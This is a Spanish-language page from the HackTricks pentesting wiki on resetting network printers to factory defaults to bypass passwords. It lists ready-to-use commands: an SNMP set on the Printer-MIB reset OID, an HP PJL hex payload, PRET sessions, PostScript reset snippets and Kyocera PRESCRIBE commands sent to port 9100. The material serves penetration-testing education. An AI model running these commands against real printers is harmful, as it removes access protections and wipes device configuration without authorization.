☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
**Restablecer** un dispositivo a los valores de fábrica es una funcionalidad crítica de seguridad ya que **sobrescribe los mecanismos de protección** como las contraseñas establecidas por el usuario. Esto se puede hacer generalmente presionando una **combinación de teclas especiales** en el **panel de control** de la impresora. Realizar un restablecimiento de este tipo solo lleva segundos y, por lo tanto, es un escenario realista para atacantes locales o probadores de penetración, que pueden, por ejemplo, colarse en la sala de copias durante el almuerzo. Sin embargo, **no siempre es posible tener acceso físico** al dispositivo. ### SNMP El Printer-MIB define el objeto **prtGeneralReset** (**OID 1.3.6.1.2.1.43.5.1.1.3.1**) que permite a un atacante reiniciar el dispositivo (powerCycleReset(4)), restablecer la configuración de NVRAM (resetToNVRAM(5)) o restaurar los valores de fábrica (resetToFactoryDefaults(6)) utilizando SNMP. Esta característica/ataque es **compatible con una gran variedad de impresoras** y elimina todos los mecanismos de protección como las contraseñas establecidas por el usuario para el servidor web integrado. Si bien los mecanismos de protección se pueden pasar eficientemente por alto, una desventaja práctica de este enfoque es que se perderá toda la **configuración de dirección IP estática**. **Si no hay un servicio DHCP** disponible, el atacante **no podrá volver a conectarse** al dispositivo después de restablecerlo a los valores de fábrica. **Restablecer el dispositivo a los valores de fábrica** se puede lograr utilizando el comando `snmpset` como se muestra a continuación (necesita conocer la **cadena de comunidad**, que por defecto en la mayoría de los casos es `public`): ```bash snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6 ``` ### [PML](./#pml)/[PJL](./#pjl) En muchos escenarios, un atacante no tiene la capacidad de realizar solicitudes SNMP debido a cortafuegos o cadenas de comunidad SNMP desconocidas. Sin embargo, en dispositivos **HP**, **SNMP** se puede transformar en su representación **PML** e incrustar la solicitud dentro de un trabajo de impresión legítimo. Esto permite a un atacante **reiniciar y/o restablecer el dispositivo** a los valores predeterminados de fábrica dentro de trabajos de impresión ordinarios, como se muestra a continuación: ```bash @PJL DMCMD ASCIIHEX="040006020501010301040106" ``` Cualquiera puede reproducir este ataque en impresoras HP, reiniciar o restablecer el dispositivo puede hacerse fácilmente utilizando [**PRET**](https://github.com/RUB-NDS/PRET): ```bash ./pret.py -q printer pjl Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> reset printer:/> restart ``` ### PostScript PostScript ofrece una característica similar: el parámetro del sistema **FactoryDefaults**, "una bandera que, si se establece en verdadero inmediatamente antes de que se apague la impresora, hace que todos los parámetros no volátiles vuelvan a sus valores predeterminados de fábrica en el próximo encendido". Cabe señalar que PostScript en sí también tiene la capacidad de reiniciar su entorno, pero requiere una contraseña válida. \ Sin embargo, el intérprete de PostScript puede ser puesto en un bucle infinito como se discute en los ataques de denegación de servicio (DoS) de procesamiento de documentos, lo que obliga al usuario a reiniciar manualmente el dispositivo y, por lo tanto, restablecer la contraseña de PostScript. Restablecer los parámetros del sistema PostScript a los valores predeterminados de fábrica: ```bash << /FactoryDefaults true >> setsystemparams ``` Reiniciar el intérprete PostScript y la memoria virtual: ```bash true 0 startjob systemdict /quit get exec ``` Cualquier persona puede reiniciar o restablecer el intérprete PostScript de una impresora **fácilmente se puede reproducir usando** [**PRET**](https://github.com/RUB-NDS/PRET): ```bash ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> reset printer:/> restart ``` ### PRESCRIBE Para dispositivos **Kyocera**, los lenguajes de descripción de página **PRESCRIBE** se pueden utilizar para **restablecer el dispositivo** a los valores de fábrica desde trabajos de impresión ordinarios utilizando uno de los comandos que se muestran a continuación: ```bash !R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password"; !R! ACNT "REST"; CMMT "Reset account code admin password"; !R! EGRE; CMMT "Reset the engine board to factory defaults"; !R! SIOP0,"RESET:0"; CMMT "Reset configuration settings"; ``` Para reproducir este ataque, abra una conexión de red cruda al puerto 9100/tcp de la impresora y **envíe los comandos documentados arriba**.